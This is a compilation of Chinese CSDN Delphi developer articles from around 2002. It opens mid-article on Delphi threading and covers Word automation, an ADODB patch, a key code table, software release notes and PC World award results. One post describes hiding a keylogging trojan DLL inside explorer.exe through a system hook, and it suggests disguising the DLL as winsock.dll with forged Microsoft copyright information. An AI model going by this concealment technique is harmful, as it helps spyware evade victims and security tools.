procedure mythread.Execute;
begin
{ Place thread code here }
end;

end.

其中，你注意找到procedure mythread.execute;，应找到了吧，连我都看到了，这就是你刚才建立的线程了，那么接下来，我们要做的就是加入后台执行的代码，代码要加在那里？不会吧，当然是加在
begin
//这里就是加入程序代码的地方了
end;
如果你要调用unit1上的控件，你可以在unit2上面的uses中加入unit1就行了，记住，在unit1里的implementation后面增加uses unit2，这样你就可在unit1中引用线程了，引用的方法很简单，就是，就是，就是，好啦，不卖关了，就是mythread.Create(false);。OK 这就是delphi中的线程，呵呵。

本人刚学delphi 有什么地方说得不对的，欢迎评批指证，我的联系信箱netboy@cnpick.com谢谢！


CSDN_文档中心_想学win9x,nt,w2k下进程的深度隐藏吗?来这里吧

利用windows的一个*.dll御截漏洞,可以实现在win9x,nt,w2k下进程的深度隐藏,按CTRL+ALT+DEL看不到,用终极防线也看不到,这是我的最新发现,想和大家一起讨论,
我已实现了这一功能,源程在http://njhhack.freehomepages.com/source/hideproc.zip
我的oicq:10772919
e-mail:njhhack@21cn.com
homepage:hotsky.363.net

-----------------

呵呵，各位兄弟，配合我的Delphi源码，讲一下它的工作原理吧，不过大家不要用来做坏事哟，我可是从不黑人的，谁让我是人民教师哟，原理如下:
我编了个启动程序winexec.exe用它来启动install.dll这个安装库，install.dll中有个安装函数用来启动getkey.dll这个执行库，getkey.dll里面有我的木马程序，这个getkey.dll库被挂到explorer.exe的进空间中，然后winexec.exe和install.dll在内存中自动御载，但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞)，因为这时系统中已没有我的winexec.exe存在，所以按CTRL+ALT+DEL查不到有我的进程在运行，这就是进程三级跳.
呵呵,可是，大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗，请听我慢慢道来:
在windows系统中，要进入另一个进程的空间有很多方法，最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook，这是它能收到所以系统中传输的消息，而且若消息是其它进程的线程发出或接收的，那么该*.dll（就是我程序中的install.dll啦）会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块，这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地，但这只是开始，因为我们的目标是隐藏自已的进程，所以要把winexec.exe在内存中去掉，但这不是我们想要的结果，大家想想，install.dll是由winexec.exe调用的，所以，当winexec.exe死掉后，install.dll也活不成，我们在explorer.exe中占下的一席之地就又没了，那如何办呢，呵呵，听我慢慢讲来:
上面我们说了，当install.dll在explorer.exe中安家后，我们创建的线程就是explorer.exe的子线程，那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块，根据*.dll的特殊性（就是我认为的*.dll的御载漏洞），在install.dll从内存中御掉后，被它调用的getkey.dll还在内存中好好的活着呢，呵呵，微软真是个好宝宝，为我们提供了这么好的驻留内存的机会，我想之所以这样，是因为*.dll不可以成为另一个*.dll的拥有者，只有*.exe才能成为*.dll的拥有者吧，所以explorer.exe就成了getkey.dll的合法拥有者，呵呵，因为explorer.exe是微软的好东东，所以永远在内存中活着，那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟，这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家，呵呵，我们终于可以过河拆桥了，不要说我坏呀，我不要这么做，可不这样的话我的winexec.exe这会被人发现了呀，好可怜哟，这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令，就会让讨厌的winexec.exe（不对，是可爱的，只不过你的任务完成了，没有了哟，呵呵）从内存中死掉，当然它的好儿子install.dll也会随父而去，但我们可爱的getkey.dll确好好的活在内存中(啊啊，这是为什么呀，gekey.dll的爷爷winexec.exe都死了，它的孙子getkey.dll为何不死呀，呵呵，别忘了哟，getkey.dll的继父explorer.exe很有本事哟，它把它保护的好好的哟，所以死不了的啦)，呵呵，明白了吗，这时的内存中已经没有了winexec.exe和install.dll的身影，只有getkey.dll存在，而且是explorer.exe的一个调用模块，当然用CTRL+ALT+DEL只能看到好人explorer.exe，而winexec.exe送给它的坏儿子是看不到了啦，呵呵，如果你用prcview或用spy++,winsight包括各种深度查木马程序（如终极防线）查的话，你只能看到getkey.dll在内存中，但调用者是explorer.exe（这是比尔的好孩子哟，没人怀疑它做坏事吧，呵呵），所以就没人理这个getkey.dll这个坏孩子啦，呵呵，若实在有高手认为它可疑，那好吧，我们加工加工，把getkey.dll的名字改成winsock.dll，然后放在和windows中自带的winsock不同的目录中，呵呵没人怀疑这个文件吧，当然把getkey.dll的版权信息改成是微软的更好啦，呀呀，比尔你不要生气呀，谁叫你这么坏哪，呵呵，我走了..............


CSDN_文档中心_向word文档中输出表格及图形

工作中遇到一个软件开发项目，该项目要求将相关数据报表存为word格式文档（涉及表格、图形的输出），便于用户修改。

本人在开发过程中，发现此类资料较少，且介绍相对简单，大多只是文本数据的的简单输出。现将个人摸索出的一些方法及心得体会告诉大家，以求共同探讨，共同提高！

form上放置以下控件：一个Tadoquery组件，名称为ADOQuery1；

一个TWordFont组件,名称为WordFont1；

一个TWordApplication组件,名称为WordApplication1；

一个TWordDocument1组件,名称为Doc;

一个TWordParagraphFormat组件,名称为ParaFmt；

一个TIMAGE组件，名称为IMAGE1；

一个TBUTTON组件，名称为Button1；

procedure TFrm_TravilRDXL.EnterText;//自定义函数

var

S: Selection;

MyFormat : Word;

// Bitmap : TBitMap;

AData :cardinal;

APalette : hpalette;

begin

S := WordApplication1.Selection;

WordFont1.ConnectTo(S.Font);

S.TypeText('甘肃省兰州市旅游管理局热点线路统计表');

//加回车键,形成第一个段落：Doc.Paragraphs.Item(1)

S.TypeParagraph;

//输入文字

S.TypeText(txt_DateFrom.Text+'至'+txt_DateTo.text);

//加回车键,形成第二个段落：Doc.Paragraphs.Item(2)

S.TypeParagraph;

S.TypeText('使用部门：'+'销售部'+#13);

S.TypeText('时间范围：'+'2002-8-8至2002-8-28'+#13 );

S.TypeText('线路类型：'+'团体线'+#13);

s.TypeText('线路等级：'+'豪华线'+#13);

//加回车键,形成第三个段落：Doc.Paragraphs.Item(3)

S.TypeParagraph;

//--------------------------设置段落1属性-------------------//

ParaFmt.ConnectTo(Doc.Paragraphs.Item(1).Format);

//绑定WordFont1与Doc.Paragraphs.Item(1).Range.Font

WordFont1.ConnectTo(Doc.Paragraphs.Item(1).Range.Font);

//设置段落对齐方式

ParaFmt.Alignment := wdAlignParagraphCenter;

//设置段落行距（磅）

ParaFmt.SpaceAfter := 24;

//画单水平线

ParaFmt.Borders.Item(3).LineStyle := wdLineStyleSingle;

WordFont1.Size := 18;

WordFont1.Name := 'Arial';

WordFont1.Bold := integer(True);

WordFont1.ColorIndex:=5; //粉红色字体

//--------------------------设置段落2属性-------------------//

ParaFmt.ConnectTo(Doc.Paragraphs.Item(2).Format);

//绑定WordFont1与Doc.Paragraphs.Item(1).Range.Font

WordFont1.ConnectTo(Doc.Paragraphs.Item(2).Range.Font);

//设置段落对齐方式

ParaFmt.Alignment := wdAlignParagraphCenter;

//设置段落行距（磅）

ParaFmt.SpaceAfter := 12;

WordFont1.Size := 18;

WordFont1.Name := 'Arial';

end;

procedure TFrm_TravilRDXL.Button1Click(Sender: TObject);

var

i,j:integer;

begin

i:=2;//初始化

j:=1;

WordApplication1.Connect;

Doc.ConnectTo(WordApplication1.Documents.Add(EmptyParam, EmptyParam));

WordApplication1.Visible := True;//显示word文档

EnterText;//自定义函数---添加文本

WordApplication1.Selection.SetRange(100,100);//设定段落范围

doc.Tables.Add(WordApplication1.Selection.Range,ADOQuery1.RecordCount+1,5);//创建表格

doc.Tables.Item(1).Columns.Item(1).Width:=120;//设定第一列宽度

//--------------------------设定第一列字体属性-----------------------//

while j<6 do begin

doc.Tables.item(1).cell(1,j).Range.Bold:=integer(true);

WordFont1.ConnectTo(doc.Tables.item(1).cell(1,j).Range.Font);

WordFont1.ColorIndex:=10;

j:=j+1;

end;

//--------------------------向表格中添加数据----------------------------------------//

doc.Tables.Item(1).Cell(1,1).Range.Text:='线路名称';

doc.Tables.Item(1).cell(1,2).Range.text:='人数';

doc.Tables.item(1).cell(1,3).Range.text:='销售额（元）';

doc.Tables.item(1).cell(1,4).Range.text:='毛利润';

doc.Tables.Item(1).cell(1,5).Range.text:='毛利润率';

while not ADOQuery1.Eof do begin

doc.Tables.Item(1).Cell(i,1).Range.Text:=ADOQuery1.fieldbyname('linename').asstring;

doc.Tables.Item(1).cell(i,2).Range.text:=ADOQuery1.Fieldbyname('STUFFNUM').asstring;

doc.Tables.Item(1).cell(i,3).Range.text:=ADOQuery1.Fieldbyname('TOTALACCOUNT').asstring;

doc.Tables.Item(1).cell(i,4).Range.text:=ADOQuery1.Fieldbyname('TOTAL').asstring;

doc.Tables.Item(1).cell(i,5).Range.text:=ADOQuery1.Fieldbyname('ration').asstring;

ADOQuery1.Next;

i:=i+1;

end;

//----------------------------------------------------------------------//

WordApplication1.Selection.SetRange(350,350);//设定段落范围

ParaFmt.ConnectTo(WordApplication1.Selection.Paragraphs.item(1).Format);

ParaFmt.Borders.Item(3).ColorIndex:=6;

ParaFmt.Borders.Item(3).LineStyle:=wdLineStyleSingle;//画底线

//-----------设置段落字体----------------------------------------//

WordFont1.ConnectTo(WordApplication1.Selection.Paragraphs.Item(1).Range.Font);

WordFont1.Bold:=integer(true);

WordFont1.Size:=16;

//-----------------------------粘贴图形-------------------------//

Image1.Picture.SaveToClipboardFormat(MyFormat,AData,APalette);

Clipboard.SetAsHandle(MyFormat,AData);

doc.Sentences.Last.Paste;

//--------------------------插入记录-------------------------------------//

doc.Range.InsertAfter(#13+'操作员:'+ G_username);//G_username为全局变量

end;

以上有不足之处，望给予批评指正，本人E-MAIL：free_card@163.com


CSDN_文档中心_新西兰PC世界杂志2002读者选择大奖座次排定！Delphi排第几位？

New Zealand PC World Readers' Choice Awards 2002
Your pick of the best hardware, software and internet services of the year.

The envelope, please. Here's how you called 'em. Our 13th annual PC World Readers' Choice Awards proved lucky for some, including Macromedia, whose Dreamweaver 4 stole the Best Web Design Software crown worn last year by Microsoft's FrontPage. And in the Best Internet Security Software category, a talented scrappy upstart — the freeware ZoneLabs ZoneAlarm — pushed Symantec into second place. Another first-time winner was NZoom, which took the Best New Zealand Website Award, won last year by Xtra's homepage. In a more shocking upset, TL Systems won Best Home PC, a title claimed by HP last year.

THE BUSINESS Best Operating System was, as ever, a Microsoft vs Microsoft affair, but is notable this year for Windows 2000's victory — the first time the business-focused NT line has beaten out the Soho-leaning 9.x family. And maybe it won't be Microsoft vs Microsoft forever: Linux continued its modest encroachment into the Best OS category, clocking up 9% of the vote.

THE FIGHT-BACKS Borland was another insurgent against the Microsoft monolith, with Delphi 6 regaining the Best Development Tool trophy. Compaq, meanwhile, took back the Best Corporate Desktop title lost to Dell last year. HP was only third, but is looking to remedy this situation by buying Compaq.

THE NEWBIES There were several new categories this year. ClearNet picked up the inaugural gong for Best e-business Solution Provider; Nokia took Best DSL Modem (beating off a strong challenge from Dynalink); and the crash-tastic Netscape 6 took Loser of the Year (readers, why didn't you dump on those free ISPs?).

THE SCANDAL Dragon NaturallySpeaking kept its Best Speech Recognition Software title, but the news will do little to alleviate the gloom at its parent company, Lernout and Hauspie. It filed for bankruptcy in October following the arrest without bail of its Boston-based CEO, plus Belgium founders Jo Lernout and Pol Hauspie, on the small matter of a missing $US100 million. What would HAL say?

THE RULES As usual, voting was open to PC World subscribers only, so votes could be cross-referenced against our circulation database to prevent duplicates or vendor voting. Votes were counted by an independent third party, Information Tools, and the random voter prize draw supervised by Hayes Knight. (Where votes add up to less than 100%, votes for other products account for the balance.)
-- Chris Keall

Winner of the year
As voted by PC World readers.

AMD | 51%
JetStream/JetStart | 22%
Bill Gates | 19%
XML | 4%
Pocket PC OS | 3%

Loser of the year
As voted by PC World readers.

Netscape 6 ("the crash machine") | 27%
Napster | 25%
the letter "e" | 15%
Apple G4 Cube | 12%
Clippy | 11%
Judge Thomas Penfold Jackson | 8%
Free ISPs | 1%
Anyone who bought tech stocks | 1%
 Most promising newcomer
As chosen by PC World staff.
Microsoft DirectX 8
If you've followed 3D rendering programs, games or web plug-ins over the past few years, you've seen the realism of computer-generated 3D objects grow by leaps and bounds. With DirectX 8, 3D is poised for another giant leap forward. Working with 3D software developers and hardware industry leaders like NVidia, Microsoft completely rewrote the way 3D happens on computers, giving developers flexibility to add new levels of realism to their creations.
Personal Computers
Best Corporate PC |
Compaq Deskpro series | 36%
Dell Optiplex series | 24%
HP Vectra series | 12%
Best Small-to-Medium Business PC
Compaq Deskpro series | 21%
Dell Dimension series | 18%
The PC Company Value series | 14%
Best Value Notebook |
Toshiba Satellite series | 31%
Acer TravelMate series | 24%
Dell Latitude C500 series | 15%
IBM ThinkPad I series | 11%
Compaq Armada E500 series | 8%
Best PDA |
Palm V series | 30%
Compaq iPAQ series | 27%
Palm m100 series | 11%
HP Jornada 700 series | 7%
Handspring Visor series | 6%

Best Home PC |
TL Systems Dream series | 29%
Dell Dimension series | 21%
Gateway Performance series | 16%
Best Power Notebook |
Toshiba Satellite Pro series | 27%
Sony Vaio series | 13%
Compaq Armada M700 series | 11%
Toshiba Tecra series | 9%
Toshiba Portégé series | 8%
IBM ThinkPad T series | 8%
Best NZ PC Manufacturer |
The PC Company | 41%
TL Systems | 23%
PB Technologies | 7%
Advantage Computers | 5%
Arche | 5%
Cyclone | 4%

Internet
Best Internet Service Provider |
Xtra | 36%
paradise.net | 23%
ihug | 13%
Clear Net | 13%
Voyager | 4%
Best Broadband Internet Service |
Telecom JetStream | 49%
TelstraSaturn/paradise.net broadband cable | 18%
ihug Ultra | 17%
Telecom JetStart | 16%
Best e-Business Solution Provider |
Clear Net | 44%
Xtra Business | 39%
eSolutions | 10%
Best New Zealand website |
NZoom.com | 15%
XtraMSN.co.nz | 12%
Best Email Software |
Microsoft Outlook | 69%
Qualcomm Eudora Pro | 10%
Netscape Mail | 8%
David Harris Pegasus Mail | 8%
Best Web Browser |
Microsoft Internet Explorer 5.5 | 82%
Netscape Navigator 4.7 | 10%
Opera Software Opera | 54%
Netscape 6 | 4%

Best Web Server |
Microsoft Windows 2000 Server/IIS | 45%
Apache Software Apache Server | 39%
Macromedia Cold Fusion Server | 16%
Best Web Authoring Tool |
Macromedia Dreamweaver 4 | 53%
Microsoft FrontPage 2002 | 34%
Adobe GoLive 5 | 15%
Best Web Graphics Software |
Macromedia Flash 5 | 63%
Macromedia Fireworks 4 | 25%
Adobe LiveMotion 1 | 11%
Best Internet Security Software |
ZoneLabs ZoneAlarm 2.6 | 49%
Symantec Norton Internet Security 2001 | 18%
Network ICE BlackICE Defender 2.5 | 13%
Symantec Norton Personal Firewall 2001 | 11%
McAfee Personal Firewall 2.5 | 9%
Best Web Media Player |
Microsoft Windows MediaPlayer 7 | 51%
RealNetworks RealPlayer 7 | 22%
Nullsoft Winamp 2 | 20%
Apple QuickTime 5 | 8%

Peripherals
Best Digital Camera |
Sony DSC Cybershot series | 33%
Kodak Cybershot series | 16%
Canon PowerShot series | 14%
Fuji FinePix series | 13%
Best Web Cam |
Logitech QuickCam USB | 70%
Dynalink DSC-350 | 15%
Intel Pro PC | 15%
Best Dial-up Modem Brand |
Dynalink | 59%
3Com/US Robotics | 34%
Best DSL Modem |
Nokia M11 series | 38%
Dynalink ADSL series | 36%
D-Link DSL 200 USB | 8%
Best CRT Monitor Brand |
Philips | 42%
ViewSonic | 25%
Sony | 23%

Best LCD Monitor Brand |
Philips | 35%
Sony | 30%
ViewSonic | 15%
Best Graphics Card |
Matrox Millennium G450 series | 35%
Creative 3D Blaster GeForce series | 31%
Ausus AGP-V7000 GeForce series | 26%
Best Sound Card |
Creative Sound Blaster Live! | 95%
Best Removable Media |
HP CD-Writer Plus CDRW series | 70%
Iomega Zip 250 USB | 15%
Plextor PlexWriter series | 7%

Business Software
Best Operating System |
Microsoft Windows 2000 | 43%
Microsoft Windows 98 | 36%
Microsoft Windows Me | 12%
Red Hat Linux 7 | 9%
Best Office Suite |
Microsoft Office 2000 | 71%
Microsoft Office XP | 14%
Sun StarOffice 5 | 12%
Best Project Manager |
Microsoft Project | 84%
Best Personal Information Manager
Microsoft Outlook 2002 | 83%
Lotus Organizer 6 | 17%
Best Contact Manager |
Interact Commerce ACT! 2000 | 70%
Maximizer Enterprise 2000 | 30%

Best Speech Recognition Software |
Dragon NaturallySpeaking 5 | 79%
IBM ViaVoice Millennium | 13%
Microsoft Office XP | 7%
Best Personal Finance Software |
Microsoft Money 2001 | 57%
Intuit Quicken Deluxe 7.5 | 43%
Best Small Business Accounting Software Company |
MYOB | 44%
Quicken | 20%
NZA Gold | 17%
Best New Zealand Software |
David Harris Pegasus Mail | 43%
Marshal Software MailMarshal | 18%
Qbik WinGate | 16%
RoboForge | 14%
Exo-net 3000 | 4%
CommSoft NetMaster | 3%
Picdata Time Disciple | 1%

Hard Copy
Best Personal Monochrome Printer
HP LaserJet series | 66%
Brother HL series | 14%
Oki Okipage 8 series | 7%
Best Personal Colour Printer |
HP DeskJet series | 47%
Epson Stylus Color series | 30%
Canon BJC series | 21%
Best Scanner |
HP ScanJet series | 43%
Microtek ScanMaker series | 16%
Canon CanoScan series | 15%
Mustek Paragon series | 14%
Epson Perfection series | 5%

Best Office Monochrome Printer |
HP LaserJet series | 71%
Brother HL series | 9%
Kyocera FS series | 9%
Best LCD Projector |
Sony VPL series | 65%
Epson EMP series | 17%
Compaq MP series | 16%
Best Office Colour Printer |
HP Color LaserJet series | 36%
HP DeskJet series | 23%
Epson Stylus Color series | 16%
Canon BJC series | 14%

Networking
Best LAN Operating System |
Microsoft Windows 2000 Server | 61%
Novell NetWare 5.1 | 24%
Red Hat Linux 6.2 HA Server | 15%
Best Workgroup Software |
Microsoft Exchange | 59%
Lotus Notes | 24%
Novell GroupWise | 17%

Best Network Server |
Compaq ProLiant series | 52%
HP NetServer series | 26%
IBM Netfinity series | 22%
Best Remote Access Software |
Symantec PCAnywhere 10 | 81%
Microsoft Remote Access Server | 19%

Graphics
Best DTP (Low-end) |
Microsoft Publisher 2000 | 53%
Adobe PageMaker 6.5 | 40%
Corel Ventura 8 | 6%
Best DTP (Professional) |
Adobe PageMaker 6.5 | 80%
QuarkXPress 5 | 10%
Adobe InDesign 1.5 | 10%

Best Draw Software |
CorelDraw 10 | 47%
JASC Paint Shop Pro 7 | 22%
Adobe Illustrator 9 | 20%
Best Image Editor |
Adobe Photoshop 6 | 42%
JASC PaintShop Pro 7 | 11%
Adobe Photoshop Elements | 3%
Microsoft Picture It! | 3%

Tools and Utilities
Best Antivirus Software |
Symantec Norton AntiVirus 2002 | 74%
NAI-McAfee Virus Scan | 17%
Computer Associates Vet | 4%
Best Utility Suite |
Symantec Norton System Works 2002 | 57%
Symantec Norton Utilites 2002 | 34%
McAfee Office 3 | 9%

Best Development Tool |
Borland Delphi 6 | 38%
Microsoft Visual Basic 6 | 23%
Microsoft Visual Studio | 19%
Best Fax Software |
Symantec WinFax Pro 2002 | 57%
Cheyenne BitWare | 23%
Microsoft Outlook 2002 | 20%

After Hours
Best Game |
Microsoft Combat Flight Simulator 2 | 33%
Counter-Strike | 20%
Black and White | 15%

Service
Best Systems Integrator
Compaq | 26%
Computerland | 20%
HP | 19%
IBM | 16%
Best Service & Support (Hardware)
Dell | 8%
HP | 7%
Compaq | 7%
The PC Company | 7%

Best Service & Support (Software)
Microsoft | 15%
Symantec | 7%
Computerland | 6%
Best Service & Support (Internet) |
Xtra | 29%
Paradise.net | 23%
Ihug | 13%
Clear Net | 12%
Voyager | 2%


CSDN_文档中心_修改Delphi使之适应SQL Server2000

把 SQL Server 7.0 换为 SQL Server 2000 后，执行正常的程序都出错了。仔细一查，原来是 SQL Server 2000
将存储过程的返回参数改了名(RETURN_VALUE 改成了 @RETURN_VALUE)。让我们来对 ADODB 作少许改动，使之兼容
7.0 和 2000。

1、使用 File -> Open Project 打开 Source\VCL\ADODB.pas。
2、定位到 TADOConnection.WillExecute，在 begin 后加入如下代码
[code]
// 用来兼容 SQL Server 7.0 和 SQL Server 2000
if (pCommand.Parameters.Count > 0) and
((pCommand.Parameters[0].Name = 'RETURN_VALUE') or
(pCommand.Parameters[0].Name = '@RETURN_VALUE')) then
begin
if pConnection.Properties['DBMS Version'].Value < '08.00.0000' then
pCommand.Parameters[0].Name := 'RETURN_VALUE'
else pCommand.Parameters[0].Name := '@RETURN_VALUE'
end;
[/code]
3、定位到 TADOCommand.FindParam 在 Result = ni 前加入如下代码
[code]
// 用来兼容 SQL Server 7.0 和 SQL Server 2000
if (Count > 0) and ((Value = 'RETURN_VALUE') or (Value = '@RETURN_VALUE')) then
begin
Result := Items[0];
if (Result.Name = '@RETURN_VALUE') or (Result.Name = 'RETURN_VALUE') then Exit;
end;
[/code]
4、编译 ADODB.pas
5、将编译后的 ADODB.dcu 复制到 Lib 目录下覆盖原有的 ADODB.dcu。


CSDN_文档中心_虚拟键码表(windows)

Virtual Key Code Corresponding key

VK_LBUTTON Left mouse button

VK_RBUTTON Right mouse button

VK_CANCEL Control+Break

VK_MBUTTON Middle mouse button

VK_BACK Backspace key

VK_TAB Tab key

VK_CLEAR Clear key

VK_RETURN Enter key

VK_SHIFT Shift key

VK_CONTROL Ctrl key

VK_MENU Alt key

VK_PAUSE Pause key

VK_CAPITAL Caps Lock key

VK_KANA Used with IME

VK_HANGUL Used with IME

VK_JUNJA Used with IME

VK_FINAL Used with IME

VK_HANJA Used with IME

VK_KANJI Used with IME

VK_CONVERT Used with IME

VK_NONCONVERT Used with IME

VK_ACCEPT Used with IME

VK_MODECHANGE Used with IME

VK_ESCAPE Esc key

VK_SPACE Space bar

VK_PRIOR Page Up key

VK_NEXT Page Down key

VK_END End key

VK_HOME Home key

VK_LEFT Left Arrow key

VK_UP Up Arrow key

VK_RIGHT Right Arrow key

VK_DOWN Down Arrow key

VK_SELECT Select key

VK_PRINT Print key (keyboard-specific)

VK_EXECUTE Execute key

VK_SNAPSHOT Print Screen key

VK_INSERT Insert key

VK_DELETE Delete key

VK_HELP Help key

VK_LWIN Left Windows key (Microsoft keyboard)

VK_RWIN Right Windows key (Microsoft keyboard)

VK_APPS Applications key (Microsoft keyboard)

VK_NUMPAD0 0 key (numeric keypad)

VK_NUMPAD1 1 key (numeric keypad)

VK_NUMPAD2 2 key (numeric keypad)

VK_NUMPAD3 3 key (numeric keypad)

VK_NUMPAD4 4 key (numeric keypad)

VK_NUMPAD5 5 key (numeric keypad)

VK_NUMPAD6 6 key (numeric keypad)

VK_NUMPAD7 7 key (numeric keypad)

VK_NUMPAD8 8 key (numeric keypad)

VK_NUMPAD9 9 key (numeric keypad)

VK_MULTIPLY Multiply key (numeric keypad)

VK_ADD Add key (numeric keypad)

VK_SEPARATOR Separator key (numeric keypad)

VK_SUBTRACT Subtract key (numeric keypad)

VK_DECIMAL Decimal key (numeric keypad)

VK_DIVIDE Divide key (numeric keypad)

VK_F1 F1 key

VK_F2 F2 key

VK_F3 F3 key

VK_F4 F4 key

VK_F5 F5 key

VK_F6 F6 key

VK_F7 F7 key

VK_F8 F8 key

VK_F9 F9 key

VK_F10 F10 key

VK_F11 F11 key

VK_F12 F12 key

VK_F13 F13 key

VK_F14 F14 key

VK_F15 F15 key

VK_F16 F16 key

VK_F17 F17 key

VK_F18 F18 key

VK_F19 F19 key

VK_F20 F20 key

VK_F21 F21 key

VK_F22 F22 key

VK_F23 F23 key

VK_F24 F24 key

VK_NUMLOCK Num Lock key

VK_SCROLL Scroll Lock key

VK_LSHIFT Left Shift key (only used with GetAsyncKeyState and GetKeyState)

VK_RSHIFT Right Shift key (only used with GetAsyncKeyState and GetKeyState)

VK_LCONTROL Left Ctrl key (only used with GetAsyncKeyState and GetKeyState)

VK_RCONTROL Right Ctrl key (only used with GetAsyncKeyState and GetKeyState)

VK_LMENU Left Alt key (only used with GetAsyncKeyState and GetKeyState)

VK_RMENU Right Alt key (only used with GetAsyncKeyState and GetKeyState)

VK_PROCESSKEY Process key

VK_ATTN Attn key

VK_CRSEL CrSel key

VK_EXSEL ExSel key

VK_EREOF Erase EOF key

VK_PLAY Play key

VK_ZOOM Zoom key

VK_NONAME Reserved for future use

VK_PA1 PA1 key

VK_OEM_CLEAR Clear key


CSDN_文档中心_耶書制造 CHMmaker 2.85版 增加转换HPJ工程到HHP工程的功能。

CSDN软件更新不了，在这里说一声算了。

新编写的HPJTOHHP模块只测试了由本软件反编译后的HPJ工程，没有测试过其它工具写的HPJ。
总体感觉好过M$的HHW的转换结果，支持中文帮助工程的转换(M$的HHW的不支持)。
但少数内部链接可能会有出入，以及非BMP格式图片转换GIF尚不支持。
反编译时，如帮助有CNT文件，请放到HPJ工程所在的同一目录下，以便自动生成较好的主题文件。
因RTF的编辑工具编辑的效果不同，如转换效果不好，请先编译成HLP文件，用本软件反编译后再行转换。
需查看结果者请在这里下载WinZip(英文)或AVW98(行天杀毒/中文)的转换结果。
以上两个都是由本软件反编译后，直接转换，直接编译的结果，没经过任何编辑。

http://elsesoft.home.sohu.com


CSDN_文档中心_耶書制造 CHMmaker(即CHM帮助编辑器)推出2.87中文版！

推出2.87中文版！
下载地址：http://member.netease.com/~siyi/CHMmaker287.zip
中文制作教程：http://member.netease.com/~siyi/Help.chm
中文支持主页：http://elsesoft.home.sohu.com
2.87修正有时保存文件乱码的问题
打开工程时同时打开窗口/主题/索引
添加了一些选项

2.86修正索引的排序问题
另，很多用户不知道注册费用，重新说明：2.80版(以上)大陆地区为28元人民币
欢迎用一卡通注册：帐户名：李岳金 帐号： 057150424609

2.85新编写的HPJTOHHP模块只测试了由本软件反编译后的HPJ工程，没有测试过其它工具写的HPJ。
总体感觉好过M$的HHW的转换结果，支持中文帮助工程的转换(M$的HHW的不支持)。
但少数内部链接可能会有出入，以及非BMP格式图片转换GIF尚不支持。
反编译时，如帮助有CNT文件，请放到HPJ工程所在的同一目录下，以便自动生成较好的主题文件。
因RTF的编辑工具编辑的效果不同，如转换效果不好，请先编译成HLP文件，用本软件反编译后再行转换。
需查看结果者请在这里下载WinZip(英文)或AVW98(行天杀毒/中文)的转换结果。
以上两个都是由本软件反编译后，直接转换，直接编译的结果，没经过任何编辑。
同样，需此功能的请注册后来信索取Hpj2hhp.dll文件后才能使用。请用户不要公布此文件。

2.83版本修正没有M$的hhw时不能编译搜索信息的问题，(注册版)增加反编译hlp帮助文件到源文件的功能。
反编译hlp需要hlp2hpj.dll动态库，注册取得此文件的用户请不要公布此文件。

2.82版本可以反编译chm文件到源文件了！快点下载吧！
开寅软件工作室以 耶書制造 CHMmaker 向微软申请加入帮助程序生产商列表，已经被批准。

2.81版已经可以在程序中显示编译过程。
不再需要hhc.exe编译工程。

2.80
这次升级CHM帮助编辑器，因为界面要更改、主要的功能实现方法也要更改。
所以想来想去干脆就全部重写，改动面比较大。

主要更改的地方是主题/索引的读取和编辑。
读取更全面，与其它同类软件的兼容性更好，可识别的标记更多。
编辑更方便、直观。
以前采用列表显示，现在都改为树状视图，编辑中和编译后的效果基本上是一样的。
在/上/下/左/右/移动时更加灵活，一般移动时有子项目的会带子项目一起移动，
你如果想单独移动目录名而所有子项目不更改，就请按下“Ctrl”键再点击移动按钮。
当然，如果你觉得用鼠标移动更方便的话，你还可以直接把项目拖到需要的地方去。

另外，因有两个用户说不能编译搜索信息，这是因为编译器版本不匹配的缘故，
新版本将不直接把编译器放入主程序中去，而是放在外面可以自由更改，
我正在与FAR联系取得hha.dll的编译函数使用代码，
但他说要以我的软件的名义先向微软件申请，
微软件同意软件加入他们的销售列表，才能给我代码。
这些工作我正在做，希望大伙支持我，如果取得hha.dll的代码，则编译的选项将会更多，
可以在程序中显示编译过程、错误信息，及时获得编译中的意外等等。。

不过因为改英文版之后，不小心把中文版给搞丢了，所以大家先将就着用吧。
注册价格2.80版大陆地区为28元人民币，原老用户免费升级，请来信取得新注册码。

真正的傻瓜式E书工具，做一部电子书最少只要点击六次，而且
有两次是在资源管理器中！以前曾有很多用户说不懂CHM的基础
知识，不懂什么主题、索引，因而仅管有CHM帮助编辑器，还是
做不出满意的E书。
现在可好解决了，只要您知道怎么用属标，你就能做出一部E书！
具体步骤如下：
先运行一次程序注册快捷菜单信息，退出。
1：右击包含网页文件的目录(资源管理器中)，
2：选择“Else-hhw电子书向导”，(启动程序)
3：下一步，
4：下一步，
5：完成，(主程序打开工程)
6：编译。
完成啦！
方法二：直接在程序中选择“电子书向导”按钮，下面同上3、4、5、6。

请在资源管理器中右击目录,选择“Else-hhw 电子书向导”快捷
菜单即可进入,或在工具栏上选择“电子书向导”也可,自动产生
带目录的主题和索引,生成工程及相关文件后, 即自动打开工程,
如有不适意之处,可打开文件修改。
无任快捷、方便、自由！


CSDN_文档中心_也谈将界面代码和功能代码分离（基于DELPHI/VCL）之一

进一步将界面代码和功能代码分离（基于DELPHI/VCL）之一
-----如何将界面代码和功能代码分离（基于Delphi/VCL）一文之补充建议

读过Nicrosoft(奈软） 朋友的‘如何将界面代码和功能代码分离’一个，
很是佩服， 仔细读过之后， 我想补充我对在DELPHI上实现界面与功能代码，这方面的体会。

还是拿Nicrosoft的个人通讯录管理作为例子还说吧，
可参见：http://www.csdn.net/develop/article/8/8839.shtm

Nicrosoft朋友定义了一个TAddrBook的类来封装了一个地址簿存取操作的逻辑，
对外提供了
FindRecord， AddRecord， DelRecord。。。
等等必需的公共接口，
然后在一个TFORM作为地址簿的显示界面，仅使用这些公共接口去访问TAddrBook实例。
不涉及任何存取逻辑，每个模块的代码简单，易懂，便于维护。

Nicrosoft的TAddrBook类是没有指定父类， 也就是说继承自TObject，因为我们
谈的DELPHI， 为了充分利用它的可视化环境（当然，不仅仅因为这点），
